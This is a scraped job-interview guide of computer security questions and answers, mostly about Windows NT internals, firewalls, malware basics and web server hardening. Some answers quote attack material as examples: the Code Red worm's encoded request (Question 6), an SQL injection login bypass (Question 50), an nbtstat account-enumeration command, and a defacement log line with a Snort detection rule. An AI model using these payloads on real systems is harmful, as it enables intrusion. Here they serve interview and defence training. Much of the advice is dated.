Computer security Interview Questions And Answers Guide.

Global Guideline.

https://globalguideline.com/

Computer security Job Interview Preparation Guide.

Question # 1

What is a Firewall?

Answer:-

A Firewall is software that blocks unauthorized users from connecting to your computer. All computers at Bank Street are protected by a firewall which is monitored and updated by CIS.

Read More Answers.

Question # 2

What is Spyware?

Answer:-

Spyware is software that is installed without your knowledge. The purpose of Spyware is to monitor your computing activities and report this data back to companies for marketing purposes. Besides being an invasion of privacy, this software can cause serious performance issues.

Read More Answers.

Question # 3

How can I avoid computer viruses?

Answer:-

Most viruses travel through email or internet downloads. Never open attachments from unknown senders and be very cautious when downloading software from internet sources.

Read More Answers.

Question # 4

What is computer impersonation?

Answer:-

Impersonation is the ability of a thread to execute in a security context other than from that of the process that owns the thread. This enables a server to act on behalf of a client to access its own objects.

Read More Answers.

Question # 5

What are privileges (user rights)?

Answer:-

A privilege is used to control access to a service or object more strictly than is normal with discretionary access control.

Read More Answers.

Question # 6

What is this (X) IDS signature mean?

Answer:-

Pull some random URL from a log, or show them an actual snort signature to see if they really understand what the IDS system (if they are going to be a packet head as part of their job). Most good IDS folks will be able to answer this one. My favorite example is one that everyone has seen for years now, Code Red:
GET /default.ida? NNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%

u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
Or my other favorite one is NetBIOS, right, unless you see a lot of winnuke anyone running a NetBIOS IDS signature on their network is looking at a mushroom cloud of activity, because windows works that way. This is a good leading question on when this signature would be used, where it would be used, and can give the interviewer a lot of good information on how the person thinks about IDS and what the IDS system is showing them. The leading part of this is that many of the windows vulnerabilities like MS06-040 should be monitored by a NetBIOS rule, and the trick is getting the interviewer down to the point where they are actually thinking about the ramifications and architectures of the rule. As an interview question this one can not be beat, but the interviewer must understand enough about how it works to keep the conversation going, otherwise the interviewer is going to get stuck really quickly if the interviewee knows what they are talking about.

Read More Answers.

Question # 7

What is an ACL (Access Control List)?

Answer:-

An ACL is a list of ACEs.

Read More Answers.

Question # 8

What makes a strong password?

Answer:-

Strong passwords are longer than six characters, contains letters and numbers and even capital letters. Of course a password is useless if you forget it, but remember that using your birth date or name makes you an easy target for hackers.

Read More Answers.

Question # 9

How can I avoid Spyware?

Answer:-

Most Spyware comes from free internet downloads such as screensavers and Peer-to-Peer programs (Kazaa, LimeWire, etc). The only way to avoid Spyware is to not install any of these malicious programs.

Read More Answers.

Question # 10

How can I protect my home computer?

Answer:-

The best way to protect your personal computer is to install Anti-Virus and Firewall software. CIS does not support home computers however below are some helpful links to information about safeguarding your computer at home.

Read More Answers.

Question # 11

I have been hearing a lot about firewalls, but I am not sure what it is or if I need it. Can you help?

Answer:-

A firewall is basically a software program that allows you full access to the Internet and/or your network, while restricting access to your computer system from outside intrusions.
Internet users are extremely vulnerable to hackers, especially if you have cable or ADSL access to the Internet. You definitely need to protect your computer system.
Once you install a firewall, you'll be amazed at how many attempts to access your computer are blocked by your firewall.
Hackers can directly access your computer system by installing programs such as a key logger that can read every keystroke you make. This information is recorded and sent back to the hacker. Private information such as passwords and credit card numbers can easily be stolen.
A key logger is a small software program that quietly runs in the background. As these programs quite often run in DOS, you will most-likely never realize it's running. However, you can see if a key logger is running by pressing 'control' - 'alt' - 'delete' on your keyboard. This will launch a window that contains a list of all the programs currently running on your system. Review the list and watch for programs you don't recognize.
If you really want to keep your computer safe, I recommend the following:
1) Purchase a good virus program and keep it updated
2) Purchase a good firewall program and keep it updated
3) Purchase a program like Pest Patrol and keep it updated

Read More Answers.

Question # 12

SEM/SIM Security information management questions

Answer:-

SEM/SIM Security information management questions. If the company has a security information management system, and the interviewee is familiar with the technology already, ask them how they would build out a regex (regular expression) to filter out java script from html code for sites that use a lot of java script. The reason for asking this question, is that even if they can not answer it directly, if they know where to go, or are familiar or comfortable with regular expressions, they can cut just about any script in language of choice to filter data out of very long logs, or other systems. This is a great open door question to asking the interviewee which scripting language they like, how they would use it, and follow on conversations about scripting. The answer to the question is " /<(W*)(SCRIPT|OBJECT|PARAM|EMBED|I?FRAME)([^>]*)>/js"

Read More Answers.

Question # 13

Use the out put from any network security scanner, which ever network security scanner is used by the interviewer

Answer:-

Use the out put from any network security scanner, which ever network security scanner is used by the interviewer and ask the interviewee to interpret the results. What does the scanner output say, how would they use the information, and how would they break the information down for the system administrators? This lets the interviewer determine how well the interviewee can interpret and voice back the results of a security scan, and how well they can communicate. The interviewer should already have worked with the scanner, its output, and should be able to work with the interviewee to determine the finer points of the data presented.

Read More Answers.

Question # 14

Where do I get patches, or, what is a Service Pack or a Hot Fix?

Answer:-

Microsoft have an on-line database, called the software library, with program fixes for both the NT operating system as well as applications. In Microsoft lingo a patch or program fix is called service pack (SP). There are a number of service packs out, both for different versions of Windows NT as well as applications such as SNA server.
Service packs are cumulative. This means that SP2 contains all of SP1 as well as the fixes introduced in SP2. Service packs often update a great amount of code by replacing major DLLs. Since most large applications (such as back office and development components) bring their own versions of "system" DLLs, service packs has to be applied after each and every "system update", where the term "system update" is not clearly defined. Any action that replaces any component updated by a service pack or hotfix has to be followed by applying latest SP and all hotfixes. Remember that adding hardware often install new software, which may have to be updated by SP and/or hotfix.
Hot fixes are intermediate fixes released between service packs and are not considered fully regression tested, and as such not recommended by Microsoft to be applied unless one really need the feature they provide. Lately, a bunch of security problems have been solved by means of releasing hot fixes.
Another thing on the subject is language or locale. If you are running a non US version of NT, you will not be able to apply all of the hotfixes. Some of them are not language dependent, while others refuse to install on anything else but a US version. If you have the option to do so, run US version of NT at least on your servers. By doing so, you will have the option of installing a hot fix dealing with a security problem immediately when it's released and not have to wait for the next SP to appear. Not to mention that you'd have to wait for the next SP to be ported to your language, which of course may take a while, the time depending on what language you are using.
If you cannot, or do not want to, download software like this from the net, you can contact your local Microsoft representant and ask them about the service pack you need.
Visit Microsofts library of service packs or go directly to their FTP server.

Read More Answers.

Question # 15

What is a SID (Security ID)?

Answer:-

SID stands for Security Identifier and is an internal value used to uniquely identify a user or a group.
A SID contain
* User and group security descriptors
* 48-bit ID authority
* Revision level
* Variable subauthority values

Read More Answers.

Question # 16

What is an ACE (Access Control Entry)?

Answer:-

Access-Control Entries that is used to build Access-Control Lists (ACLs).
Each ACE contains the following information:
* A SID, that identifies the trustee. A trustee can be a user account, group account, or a logon account for a program such as a Windows NT service.
* An access mask specifying access rights controlled by the ACE.
* Flags that indicates the type of ACE and flags that determine whether other objects or containers can inherit the ACE from the primary object to which the ACL is attached.

Read More Answers.

Question # 17

What is SRM (Security Reference Monitor)?

Answer:-

The Security Reference Monitor is the kernel mode component that does the actual access validation, as well as audit generation.

Read More Answers.

Question # 18

What is SAM (Security Account Manager)?

Answer:-

SAM stands for Security Account Manager and is the one who maintains the security database, stored in the registry under HKLMSAM. It serves the Local Security Authority (LSA) with SIDs. The SAM maintains the user account database.

Read More Answers.

Question # 19

What is an access token?

Answer:-

Each process has an associated access token which is used by the system to verify whether the process should be granted access to a particular object or not. The access token consists of a user SID, a list of group SIDs representing the groups the user belongs to, and a list of user rights (privileges) the user is blessed with.

Read More Answers.

Question # 20

Are there any NT based viruses, or can NT be susceptible for other viruses?

Answer:-

Some types of viruses, such as those written in a high-level language such as Java, MS Word scripting language, Excel macros, etc, will be able to perform some tricks on a NT machine as well.
According to DR Solomon, the MS Word based concept virus spread widely in part because several companies, including Microsoft, have shipped CD-ROMs containing the virus.
Windows NT machines can be affected by other types of viruses if you use, for example, dual boot to run some other type of operating system on the same hardware, e.g. OS/2, UNIX or other version of Windows. When using a coexisting, bootable operating system, if you have a virus in effect that destroy the boot sector or something like that, your NT partition will probably be destroyed as well.

Read More Answers.

Question # 21

Are there any known problems with the screen saver / screen lock program?

Answer:-

Yes. In version 3.5 and 3.51, if the administrator decide to kick a user off, then the admin has a small time window to see the content of the users current screen and desktop.

Read More Answers.

Question # 22

What will happen if, when the firewall runs out of queue space, it blocks further syn packets?

Answer:-

No Answer is Posted For this Question

Be the First to Post Your Answer Now.

Question # 23

Can my page file hold sensitive data?

Answer:-

It can. Memory pages are swapped or paged to disk when an application needs physical memory. Even though the page file (see Control Panel->System->Performance->Virtual Memory) is not accessible while the system is running, it can be accessed by, for example, booting another OS.
There is a registry key that can be created so that the memory manager clears the page file when the system goes down:
HKLMSYSTEMCurrentControlSetControlSession ManagerMemoryManagementClearPageFileAtShutdown: 1
Note that the clearing of the page file only is done when the system is brought down in a controlled fashion. If the machine is just switched off or brought down in any other brute way, of course no clearing will be performed.

Read More Answers.

Question # 24

Administrator account

Answer:-

Microsoft recommends that you changes the name of the administrator account so that outsiders cannot guess the name.
This is of course just one of the things you can do. But unlike what some Microsoft employees believe, security does not stop there. Just changing name of administrator is to trying to protect yourself by the lowest level of security there is, security by obscurity .
It is possible to obtain the new name of the administrator by using the command
nbtstat -A <ip-address>
when the administrator is logged in on the console.

Read More Answers.

Question # 25

Is it possible to use packet filters on an NT machine?

Answer:-

NT 4 comes with built-in support for packet filtering. It is a simple but still usable filtering function that the administrator can configure to just let some IP packets reach the actual applications running on the system.
You find configuration panel for the filtering function on "Control Panel->Network->TCP/IP->Services->Advanced->Security"
Be aware that this simple filtering mechanism is not a substitute for a real firewall since it cannot do advanced stuff like protection against ip-spoofing, etc.

Read More Answers.

Question # 26

What is Authenticode?

Answer:-

Authenticode is a way to ensure users that code they download from the net has not been tampered with and gives the code an etched in ID of the software publisher. Microsoft is pushing this as a new way of getting better security into software distribution over the net.

Read More Answers.

Question # 27

What servers have TCP ports opened on my NT system? Or: Is netstat broken?

Answer:-

Normally, the netstat program should report information on the status of the networking connections, routing information, etc. With the option -A or -a, it should list all TCP and UDP available connections and servers that are accepting connection. On Windows NT, even though the documentation states otherwise, this is not the case.
There are no simple way to check what services that are running with TCP ports opened to accept connections. Currently the only way to get some information about this is to use a port scanner program and test through each TCP port on the NT machine. This is not a fool proof way of dealing with the problem.
This is a serious problem if you plan to have NT based computers in the firewall environment. You cannot easily hardened them to become bastion hosts, since you are not confident what types of network services that might be reachable from the outside.
It is a confirmed bug in Windows NT 3.5, 3.51 and 4.0. I do not expect Microsoft to fix it soon enough.
Update:
netstat.exe is fixed as of NT4 SP3, but it still shows some strange behavior. For example, on a moderately loaded machine, you can find numerous duplicates of open connections. Why is that?

Read More Answers.

Question # 28

What is a NULL session?

Answer:-

A NULL session connection, also known as Anonymous Logon, is a way of letting a not logged on user to retrieve information such as user names and shares over the network. It is used by applications such as explorer.exe to enumerate shares on remote servers. The sad part is that it lets non-authorized users to do more than that. Particularly interesting is remote registry access, where the NULL session user has the same permissions as built-in group Everyone.
With SP3 for NT4.0 or a fix for NT3.51, a system administrator can restrict the NULL session access, see $$$: Q143474. With this fix, a new well-known SID is defined, named "Authenticated Users", which is Everyone except NULL session connected users. Replacing Everyone in all ACLs on the machine with this Authenticated User would be a good thing. To do this in a controlled fashion, one can use cacls.exe for the file system, but have to rely on some third party product for the registry ACLs. Using explorer.exe/winfile.exe or regedt32.exe will most certainly break the system. The cause for this is that these tools replace the ACL instead of editing it.

Read More Answers.

Question # 29

FTP server security

Answer:-

There is known problems with the FTP server that ships with Windows NT. There is another FTP server that comes with the Internet Information Server, IIS, that is supposedly more secure.
As stated elsewhere in this document, logging is not turned on by default. To turn on logging of the FTP server, there are a number of registry key parameters that can be changed. They are located under the following key
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesFtpSvcParameters
Some of the parameters are LogAnonymous, LogFileAccess, LogNonAnonymous.
See Microsoft's articles on how to turn on * Better logging in the FTP server. * Accessing the root directory. * Access Rights for Anonymous Users of FTP Server * LogAnonymous Does Not Always Make an Entry in System Log

Read More Answers.

Question # 30

What is Shutdown.exe?

Answer:-

There are a bug in the utility shutdown.exe that are part of the NT Resource Kit. That bug disables the screen saver on a remote machine.
It is confirmed to be a problem on 3.51 systems.

Read More Answers.

Question # 31

There are several security issues related to ODBC usage

Answer:-

There are several security issues related to ODBC usage
* Add hooks
* Tracing ODBC connections
Any call with indirections, such as calls to ODBC data sources, are possible to intercept by attaching to pre-made hooks. By tracing ODBC connections, which is a completely legitime thing to do during software development, you can get access to sensitive data, such as user name for the connected database.

Read More Answers.

Question # 32

By default, all auditing in Windows NT is turned off. You have to manually turn on auditing on whatever object you want audited. First off, you should have a policy for

Answer:-

By default, all auditing in Windows NT is turned off. You have to manually turn on auditing on whatever object you want audited. First off, you should have a policy for
* what to log (user behaviors, changes on files or processes)
* for how long to keep the logs

* whether or not you should turn on auditing on all your machines, or if you only turn on logging on the servers
Then you should configure the auditing. You should also remember that it is hard to have a good use of auditing (or any use at all), if you don't have good tools and a good suite of policies on how to handle the logs.
You have to remember that cranking up auditing might give you performance degradation. The trick is to find the balance between how much to log without getting problem.
Remember that Windows NT saves the logs locally on disk. If someone can take control over the machine, it is quite likely that the logs might be manipulated as well. A better solution might be to send away the logs to one or more protected, centralized log-servers.

Read More Answers.

Question # 33

What is CryptoAPI?

Answer:-

CryptoAPI is a set of encryption APIs that allow developers to develop applications that work securely over non-secure networks, such as the Internet.
CryptoAPI is shipped with NT version 4 and the Internet Explorer 3.0. Version 2.0 of CryptoAPI comes with SP3 for NT4.

Read More Answers.

Question # 34

How do we â€œlock downâ€• a new system?

Answer:-

How do we â€œlock downâ€• a new system? Do we: Turn on or install software firewalls? â€¢ And/or use a hardware firewall? o Turn off unnecessary services (e.g. FTP on a desktop computer that doesn't need to support this protocol)? o Rename administrator user names as appropriate? Change default passwords? o Follow product-specific advice or expert checklists on how to secure new servers and applications? (For instance, software vendors and outside experts offer white papers or checklists on how to secure, for instance, a Windows XP workstation or a Linux server.)

Read More Answers.

Question # 35

Password Management questions

Answer:-

* Who knows the passwords for systems that perform critical business functions?
* Do we regularly change passwords on critical systems?
* Do we require end users to change their passwords? How often?
* Do we educate end users about good password choices? (e.g. avoid family names and dates, use a password longer than 6 characters, don't use words found in dictionaries, include numerals in the password).
* Do we discourage sharing of user names and passwords among multiple people?
* Do we provide tools to help people choose strong passwords? (Note: some system administrators use automated tools to scan the user database or password file for easily-guessed passwords.)
* Do our systems â€œlock outâ€• an account after a pre-determined number of failed login attempts?
* How do we manage which people have privileged access to our systems? Do we periodically review which people have â€œrootâ€• or â€œsuperuserâ€• or â€œadministrativeâ€• privileges on systems? Do we have a procedure to remove privileges for employees who have left the university? Do we remove privileged access when an employee no longer needs it?
* Do we ensure that in case of emergency someone will have passwords for critical systems (for instance, if the primary system administrator is unavailable).

Read More Answers.

Question # 36

Software Maintenance questions

Answer:-

* â€¢ How often do we apply vendor updates operating system software? Office productivity software? Other software?
* When we update computers, do you have to physically visit each computer, or do you use centralized management tools (e.g. SUS for Windows)?
* Do we set up computers for automated scheduled software updates?
* Suppose that major media are reporting that Microsoft has released a patch to close a major vulnerability in Windows. We need to update all our Windows computers immediately.
  o How would we rapidly communicate with all users in the department?
  o How long will it take us to complete this task for the 100 computers in our department?
  o What about patching laptop computers our users have off-site?
  o Should our users power down their computers or unplug them from the network until we can do this update?
* â€¢ Do we allow end users to install operating system patches (e.g. Windows Update)? Do we allow end users to install applications software?

Read More Answers.

Question # 37

Physical Security questions

Answer:-

* â€¢ Are all of our servers and critical desktop computers kept in secure areas?
  o Who has keys (traditional, key-card, or both) to the doors for those areas?
  o Do we periodically review access lists and remove access for those people who no longer need it?
* Are areas that house critical systems protected by alarm systems? Should they be? (Note: the university has mandated that installation of any alarm systems on campus must be coordinated with DPPS.)
* How are backup tapes/discs secured in transportation and in storage
* Who has access to backup tapes we take offsite?

Read More Answers.

Question # 38

Wireless Security questions

Answer:-

Have we educated our users about the risks of using wireless (Wi-Fi) networks, especially on unsecured open networks (e.g. public spaces such as at many hotels and coffee shops)?
Do we encourage use of encryption above network layer such as SSL or Virtual Private Networks (VPN)?
Do we operate Wi-Fi access points in our unit? If so:
o Have we turned off the broadcasting of SSIDs?
o Do we require an encryption key (WEP or WPA) to use our access points?
------ How do we manage the passphrase?
------ Do we enforce periodic changes to passphrase
? o Whom do we let connect to our access point(s)
â€¢------ Just people in our department? Guests? Anyone
? o How do we monitor activity over our wireless access points?

Read More Answers.

Question # 39

Intrusion Detection and Recovery questions

Answer:-

* Assume this scenario: The network security staff at the Computer Center just informed me that a computer in our department is infected with the ReallyBig virus. It is disrupting network performance, sending out thousands of infected emails, and serving first run movies to pirate worldwide.
o What do we do immediately? Would we remove the compromised system from the network?
o What sort of investigation would we carry out to determine the nature of the attack, and what vulnerability was exploited, and what data may have been compromised?
o How would you restore this computer to normal operation? .. Do you intend to disinfect it, or format the hard drive and reinstall operating system and software (perhaps from â€œghostâ€• image)?
* Do we regularly monitor event logs on servers, other computers, and firewalls to look for patterns of attack? Are the logs available after an attack?

Read More Answers.

Question # 40

Current Awareness of Security Issues questions

Answer:-

What news sources do you use to stay abreast of new security risks? Resources include:
o Security-related Mailing lists
o CERT Coordination Center: http://www.cert.org/
o Alerts from major software vendors
----------.. Major software vendors (e.g. Microsoft, Apple, Adobe, Corel)
----------.. Vendors of anti-virus software (e.g. Symantec, Trend Micro, McAfee)
o News media alerts (Major media often cover virus outbreaks and other security issues. A news aggregator such as Google News can help you search for breaking news, for instance about a new virus outbreak)

Read More Answers.

Question # 41

What is to worry about Web Security?

Answer:-

Unfortunately, there's a lot to worry about. There are security risks that affect Web servers, the local area networks that host Web sites, and even innocent users of Web browsers.
The risks are most severe from the Webmaster's perspective. The moment you install a Web server at your site, you've opened a window into your local network that the entire Internet can peer through. Most visitors are content to window shop, but a few will try to to peek at things you don't intend for public consumption. Others, not content with looking without touching, will attempt to force the window open and crawl in. The results can range from the merely embarassing, for instance the discovery one morning that your site's home page has been replaced by an obscene parody, to the damaging, for example the theft of your entire database of customer information.
It's a maxim in system security circles that buggy software opens up security holes. It's a maxim in software development circles that large, complex programs contain bugs. Unfortunately, Web servers are large, complex programs that can (and in some cases have been proven to) contain security holes. Furthermore, the open architecture of Web servers allows arbitrary CGI scripts to be executed on the server's side of the connection in response to remote requests. Any CGI script installed at your site may contain bugs, and every such bug is a potential security hole.
From the point of view of the network administrator, a Web server represents yet another potential hole in your local network's security. The general goal of network security is to keep strangers out. Yet the point of a Web site is to provide the world with controlled access to your network. Drawing the line can be difficult. A poorly configured Web server can punch a hole in the most carefully designed firewall system. A poorly configured firewall can make a Web site impossible to use. Things get particularly complicated in an intranet environment, where the Web server must typically be configured to recognize and authenticate various groups of users, each with distinct access privileges.
To the end-user, Web surfing feels both safe and anonymous. It's not. Active content, such as ActiveX controls and Java applets, introduces the possibility that Web browsing will introduce viruses or other malicious software into the user's system. Active content also has implications for the network administrator, insofar as Web browsers provide a pathway for malicious software to bypass the firewall system and enter the local area network. Even without active content, the very act of browsing leaves an electronic record of the user's surfing history, from which unscrupulous individuals can reconstruct a very accurate profile of the user's tastes and habits.
Finally, both end-users and Web administrators need to worry about the confidentiality of the data transmitted across the Web. The TCP/IP protocol was not designed with security in mind; hence it is vulnerable to network eavesdropping. When confidential documents are transmitted from the Web server to the browser, or when the end-user sends private information back to the server inside a fill-out form, someone may be listening in.

Read More Answers.

Question # 42

Are some operating systems more secure to use as platforms for Web servers than others?

Answer:-

The answer is yes, although the Unix and NT communities may not like to hear it. In general, the more powerful and flexible the operating system, the more open it is for attack through its Web (and other) servers.
Unix systems, with their large number of built-in servers, services, scripting languages, and interpreters, are particularly vulnerable to attack because there are simply so many portals of entry for hackers to exploit. Less capable systems, such as Macintoshes and special-purpose Web server boxes, are less easy to exploit. The safest Web site is a bare-bones Macintosh running a bare-bones Web server.
In the real world, of course, many sites will want to run a Windows NT or Unix server in order to gain the performance advantage of a multitasking operating system and the benefits of database and middleware connectivity . Security holes have been found in both Unix and Windows NT server systems, and new security holes are being found on a regular basis. On the whole Windows NT systems seem to be more vulnerable at the current time, partly the OS is relatively new and the big bugs haven't been shaken out, and partly because the NT file system and user account system are highly complex and difficult to configure correctly.
If you have configured your system correctly and are compulsive about applying your vendor's security patches promptly, a typical Unix system will be more secure than a typical NT system. However, you also have to factor in the experience of the people running the server host and software. A Unix system administered by a novice system administrator will be far less secure than an NT system set up by a seasoned Windows NT system administrator.

Read More Answers.

Question # 43

Are CGI scripts insecure?

Answer:-

CGI scripts are a major source of security holes. Although the CGI (Common Gateway Interface) protocol is not inherently insecure, CGI scripts must be written with just as much care as the server itself. Unfortunately some scripts fall short of this standard and trusting Web administrators install them at their sites without realizing the problems.

Read More Answers.

Question # 44

What general security precautions should I take?

Answer:-

If you are a Webmaster, system administrator, or are otherwise involved with the administration of a network, the single most important step you can take to increase your site's security is to create a written security policy. This security policy should succinctly lay out your organization's policies with regard to:
* who is allowed to use the system
* when they are allowed to use it
* what they are allowed to do (different groups may be granted different levels of access)
* procedures for granting access to the system
* procedures for revoking access (e.g. when an employee leaves)
* what constitutes acceptable use of the system
* remote and local login methods
* system monitoring procedures
* protocols for responding to suspected security breaches
This policy need not be anything fancy. It need only be a succinct summary of how the information system work, reflecting your organization's technological and political realities. There are several benefits to having a written security policy:
1. You yourself will understand what is and is not permitted on the system. If you don't have a clear picture of what is permitted, you can never be sure when a violation has occurred.
2. Others in your organization will understand what the security policy is. The written policy raises the level of security consciousness, and provides a focal point for discussion.
3. The security policy serves as a requirements document against which technical solutions can be judged. This helps guard against the "buy first, ask questions later" syndrome.
4. The policy may help bolster your legal case should you ever need to prosecute for a security violation.
More suggestions for formulating a security policy can be found in the general Internet security reference works listed at the end of this document.
For Web servers running on Unix and NT systems, here are some general security precautions to take:
1. Limit the number of login accounts available on the machine. Delete inactive users.
2. Make sure that people with login privileges choose good passwords. The Crack program will help you detect poorly-chosen passwords:
3. Turn off unused services. For example, if you don't need to run FTP on the Web server host, get rid of the ftp software. Likewise for tftp, sendmail, gopher, NIS (network information services) clients, NFS (networked file system), finger, systat, and anything else that might be hanging around. Check the file /etc/inetd.conf (Unix) or Service Manager for a list of servers that may be lurking. Deactivate any that you don't use.
4. Remove shells and interpreters that you don't absolutely need. For example, if you don't run any Perl-based CGI scripts, remove the Perl interpreter.
5. Check both the system and Web logs regularly for suspicious activity.
6. Make sure that permissions are set correctly on system files, to discourage tampering.
Be alert to the possibility that a _local_ user can accidentally make a change to the Web server configuration file or the document tree that opens up a security hole. You should set file permissions in the document and server root directories such that only trusted local users can make changes. Many sites create a "www" group to which trusted Web authors are added. The document root is made writable only by members of this group. To increase security further, the server root where vital configuration files are kept, is made writable only by the official Web administrator. Many sites create a "www" user for this purpose.

Read More Answers.

Question # 45

What is the URLScan Security Tool?

Answer:-

Urlscan is a powerful IIS security tool that works in conjunction with the IIS Lockdown Tool to give IIS Web site administrators the ability to restrict certain HTTP requests that the server will process, and thus prevents potentially harmful requests from reaching the server and causing damage. The URLScan Security Tool page on Microsoft TechNet describes its features and usage, provides answers to common questions, and details steps for download and installation.

Read More Answers.

Question # 46

What is the HFNetChk Security Tool?

Answer:-

The HFNetChk Security Tool is a tool released by Microsoft that aids system administrators in the task of maintaining security across Windows-based servers; it is a command-line tool that enables the administrator to check the patch status of all the machines in a network from a central location. The HFNetChk Security Tool page on TechNet provides more information and instructions for download.

Read More Answers.

Question # 47

What do you see as the most critical and current threats effecting Internet accessible websites?

Answer:-

Note: Goal of question â€" To gauge the applicant's knowledge of current web related threats. Topics such as Denial of Service, Brute Force, Buffer Overflows, and Input Validation are all relevant topics. Hopefully they will mention information provided by web security organizations such as the Web Application Security Consortium (WASC) or the Open Web Application Security Project (OWASP).

Read More Answers.

Question # 48

What do you see as challenges to successfully deploying/monitoring web intrusion detection?

Answer:-

Note: Goal of question â€" We are attempting to see if the applicant has a wide knowledge of web security monitoring and IDS issues such as:
Â· Limitations of NIDS for web monitoring (SSL, semantic issues with understanding HTTP)
Â· Proper logging â€" increasing the verboseness of logging (Mod_Security audit_log)
Â· Remote Centralized Logging
Â· Alerting Mechanisms
Â· Updating Signatures/Policies

Read More Answers.

Question # 49

What are the most important steps you would recommend for securing a new web server? Web application?

Answer:-

Note: Goal of question â€" Once again, there is no right or wrong answer, however we are interested in what the applicant views as important.
Web Server Security:
Â· Update/Patch the web server software
Â· Minimize the server functionality â€" disable extra modules
Â· Delete default data/scripts
Â· Increase logging verboseness
Â· Update Permissions/Ownership of files
Web Application Security:
Â· Make sure Input Validation is enforced within the code - Security QA testing
Â· Configured to display generic error messages
Â· Implement a software security policy
Â· Remove or protect hidden files and directories

Read More Answers.

Question # 50

What are some examples of you how you would attempt to gain access?

Answer:-

Note: Goal of question â€" Determine if the applicant has a wide knowledge of different authentication vulnerabilities. They may attempt default usernames/passwords or attempt SQL Injection queries that provide an SQL true statement (such as â€" â€˜ OR 1=1#). If they provide SQL examples, then offer them the following Error document information and ask them what this indicates.
ODBC Error Code = 37000 (Syntax error or access violation)
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 4: Incorrect syntax near '='.
Data Source = "ECommerceTheArchSupport2"
SQL = "SELECT QuickJump_Items.ItemId FROM QuickJump_Items WHERE QuickJump_Items.ItemId <> 0 AND QuickJumpId ="
The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:42) in the template file K:InetPubclientsloginhttpailment.cfm
The specific sequence of files included or processed is: K:INETPUBCLIENTSLOGINHTTPAILMENT.CFM
This error message indicates that the target web application if running Microsoft SQL and discloses directory structures.

Read More Answers.

Question # 51

What does this log entry indicate? How could you identify what the contents are of the hacked.htm file that the attacker is trying to upload?

Answer:-

One of your web servers is logging multiple requests similar to the following:
201.1.199.155 - - [26/Dec/2004:01:55:48 -0500] "PUT /hacked.htm HTTP/1.0" 403 769 "Microsoft Data Access Internet Publishing Provider DAV 1.1" "-"
What does this log entry indicate? How could you identify what the contents are of the "hacked.htm" file that the attacker is trying to upload?
Note: Goal of question â€" Determine if the applicant can identify both the attack (a web defacement attempt using the HTTP PUT Method), as well as, the logging limitations of CLF. In this type of attack, the defacement text is sent in the request body and not on the URL Request line. In order to identify this data, a network sniffing application would need to be utilized. An application such as Snort could be used with a custom rule to identify this activity. Here is an example rule â€"
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"LOCAL Put attempt"; flow:to_server,established; tag:session,50,packets; pcre:"/^PUT /A"; sid:3000001; rev:1;)

Read More Answers.

Question # 52

I am new to the Internet and have been hearing a lot about viruses. I am not exactly sure what they are. Can you help?

Answer:-

A virus is a small piece of software that attaches itself to 'real' software programs (executable code). Each time you launch the real program, the virus is also launched. The virus may then spread and attach itself to other programs and wreak havoc on your system.
The most widespread virus is an email virus. An email virus spreads through email attachments. It usually spreads by mailing itself to everyone within the email program's address book. It tricks the email recipient into believing the message was sent from someone they know.
Although this type of virus rapidly spreads, you can't get it simply by reading a plain text email. However, you can execute the virus by clicking on an encoded message that contains embedded executable code such as JavaScript within an HTML email message, or an executable file attachment.
Another type of program that is often thought of as a virus is a 'Trojan horse' program. However, it is not a virus. It is simply a computer program that acts like it's something it's not. For example, you may download a program that you think is a computer game. However, when you run the program, it may delete files on your hard drive. Trojan horses cannot automatically replicate themselves.
Another widespread program is known as a worm. A worm is actually a small piece of software that travels through vulnerable computer networks with security holes. The worm scans the network in search of other computers with security holes. It copies itself to each system it finds.
Although viruses can infect any type of executable code such as EXE files or DOC files, most media files such as GIF, JPG, BMP, MP3, WAV, AVI, MOV and TXT files are generally safe.
Although viruses can wreak havoc, computer virus hoaxes can also be damaging. Virus hoaxes may cause Internet users to begin to ignore all virus warnings. This can be harmful, as they are then left vulnerable to 'real' virus warnings.
In addition, many virus hoaxes also include a 'fix' that instructs the user to delete a certain file from their system. However, the file the hoax says is a virus is actually an important file needed by your computer.
Never follow the advice within an email 'virus alert' instructing you to remove a virus from your system without first verifying its validity.
You can protect your computer by taking a few precautionary steps:
1) Purchase a quality virus protection software and keep it updated.
2) If you're using Microsoft programs, make sure that the "Macro Virus Protection" is enabled. Never run a macro within a document unless you know exactly what it does.
3) Never open an email attachment unless you're absolutely sure where it came from and what it is.
4) Avoid downloading software programs from sources you're not familiar with. If you do download a program, make sure you scan the file with your anti-virus software prior to installing.

Read More Answers.

Question # 53

What is the security threat level today at the Internet Storm Center (ISC)?

Answer:-

For the interviewer the URL is http://isc.sans.org and is usually green. The reason for asking the question is to find out if the candidate is on top of what the internet looks like today. You can substitute the ISS rating one through five http://www.iss.net which is usually one, but most security folks know about the ISC and will spend time there.

Read More Answers.

Question # 54

Checking on the interviewees knowledge of legal issues and information security

Answer:-

Checking on the interviewee's knowledge of legal issues and information security. Ask them to explain COPAA, SOX, HIPAA (If applicable) and GLB (if applicable). This will give the interviewer a good idea of how knowledgeable the interviewee is about legal issues surrounding the implementation of information security and information security policy. The interviewee should know this material cold so that they can have a really good discussion about these issues.

Read More Answers.

Question # 55

How well the person can do architecture from scratch?

Answer:-

